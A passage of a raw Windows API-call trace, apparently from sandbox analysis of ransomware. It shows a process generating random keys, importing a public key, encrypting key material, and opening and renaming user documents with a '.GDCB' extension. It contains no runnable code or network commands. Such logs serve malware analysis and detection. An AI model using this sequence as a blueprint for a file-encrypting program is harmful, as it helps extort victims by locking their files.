pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.709] CryptEncrypt (in: hKey=0x34d6a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0138.709] GetLastError () returned 0x0 [0138.709] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.709] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\k13Z0oU8.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\k13z0ou8.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0138.710] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.710] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.710] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x68d6, lpOverlapped=0x0) returned 1 [0138.720] VirtualAlloc (lpAddress=0x0, dwSize=0x68e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.723] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\k13Z0oU8.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\k13z0ou8.pps"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\k13Z0oU8.pps.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\k13z0ou8.pps.gdcb")) returned 1 [0138.725] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed300) returned 1 [0138.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.726] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0138.726] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.726] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed168) returned 1 [0138.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.726] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0138.726] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0138.726] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.728] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34cf68) returned 1 [0138.728] CryptGetKeyParam (in: hKey=0x34cf68, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.728] CryptEncrypt (in: hKey=0x34cf68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0138.729] GetLastError () returned 0x0 [0138.729] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.729] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecfd0) returned 1 [0138.731] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d3e8) returned 1 [0138.731] CryptGetKeyParam (in: hKey=0x34d3e8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.731] CryptEncrypt (in: hKey=0x34d3e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0138.731] GetLastError () returned 0x0 [0138.732] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.732] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\M4Gyy4ufrujRiwZd_-B.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\m4gyy4ufrujriwzd_-b.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0138.732] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.732] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.732] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x13950, lpOverlapped=0x0) returned 1 [0138.749] VirtualAlloc (lpAddress=0x0, dwSize=0x13950, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.754] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\M4Gyy4ufrujRiwZd_-B.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\m4gyy4ufrujriwzd_-b.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\M4Gyy4ufrujRiwZd_-B.doc.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\m4gyy4ufrujriwzd_-b.doc.gdcb")) returned 1 [0138.770] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0138.771] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.771] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0138.771] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.771] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0138.771] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.771] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.771] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0138.771] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.771] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.773] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34cfa8) returned 1 [0138.773] CryptGetKeyParam (in: hKey=0x34cfa8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.773] CryptEncrypt (in: hKey=0x34cfa8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0138.774] GetLastError () returned 0x0 [0138.774] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.774] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.775] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d5e8) returned 1 [0138.775] CryptGetKeyParam (in: hKey=0x34d5e8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.775] CryptEncrypt (in: hKey=0x34d5e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0138.776] GetLastError () returned 0x0 [0138.776] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.776] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\sJuFZ-fNNCbjtR4EQ.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\sjufz-fnncbjtr4eq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0138.776] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.776] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.776] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x980d, lpOverlapped=0x0) returned 1 [0138.786] VirtualAlloc (lpAddress=0x0, dwSize=0x9810, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.790] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\sJuFZ-fNNCbjtR4EQ.odp" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\sjufz-fnncbjtr4eq.odp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\sJuFZ-fNNCbjtR4EQ.odp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\sjufz-fnncbjtr4eq.odp.gdcb")) returned 1 [0138.791] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0138.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.792] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.792] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0138.792] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.792] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ed0e0) returned 1 [0138.792] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.792] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.792] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0138.792] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0138.793] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ed300) returned 1 [0138.794] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d628) returned 1 [0138.795] CryptGetKeyParam (in: hKey=0x34d628, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.795] CryptEncrypt (in: hKey=0x34d628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0138.795] GetLastError () returned 0x0 [0138.795] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0138.795] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecca0) returned 1 [0138.797] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d1a8) returned 1 [0138.797] CryptGetKeyParam (in: hKey=0x34d1a8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.797] CryptEncrypt (in: hKey=0x34d1a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0138.797] GetLastError () returned 0x0 [0138.797] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0138.797] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\TCfZ31T4.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\tcfz31t4.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0138.797] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.797] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.798] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0xe7be, lpOverlapped=0x0) returned 1 [0138.807] VirtualAlloc (lpAddress=0x0, dwSize=0xe7c0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.811] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\TCfZ31T4.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\tcfz31t4.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\TCfZ31T4.pptx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\tcfz31t4.pptx.gdcb")) returned 1 [0138.812] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0138.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.813] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0138.813] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.813] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x2ecc18) returned 1 [0138.813] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.813] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0138.813] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.813] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecc18) returned 1 [0138.815] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d0a8) returned 1 [0138.815] CryptGetKeyParam (in: hKey=0x34d0a8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.815] CryptEncrypt (in: hKey=0x34d0a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0138.815] GetLastError () returned 0x0 [0138.815] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.815] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x2ecca0) returned 1 [0138.817] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x34d5a8) returned 1 [0138.817] CryptGetKeyParam (in: hKey=0x34d5a8, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0138.817] CryptEncrypt (in: hKey=0x34d5a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0138.817] GetLastError () returned 0x0 [0138.817] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0138.817] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\utrCoofyOdVwdhW.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\utrcoofyodvwdhw.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0138.818] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0138.818] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0138.818] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ed38, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285ed38*=0x166cd, lpOverlapped=0x0) returned 1 [0138.828] VirtualAlloc (lpAddress=0x0, dwSize=0x166d0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0138.833] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\utrCoofyOdVwdhW.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\utrcoofyodvwdhw.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\FtUF9T\\ZV1D_nCny\\uNON\\utrCoofyOdVwdhW.docx.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ftuf9t\\zv1d_ncny\\unon\\utrcoofyodvwdhw.docx.gdcb")) returned 1 [0138.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.834] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.835] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.836] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.839] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0138.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0138.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0138.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0138.843] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.844] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.844] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.844] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0138.844] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.844] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0138.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0138.845] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0138.845] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0138.845] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0138.845] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0138.847] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34c768) returned 1 [0138.847] CryptGetKeyParam (in: hKey=0x34c768, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.847] CryptEncrypt (in: hKey=0x34c768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0138.848] GetLastError () returned 0x0 [0138.848] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0138.848] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0138.850] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x34ca28) returned 1 [0138.850] CryptGetKeyParam (in: hKey=0x34ca28, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0138.850] CryptEncrypt (in: hKey=0x34ca28, hHash=0x0, Final=1, dwFlags=0x0, 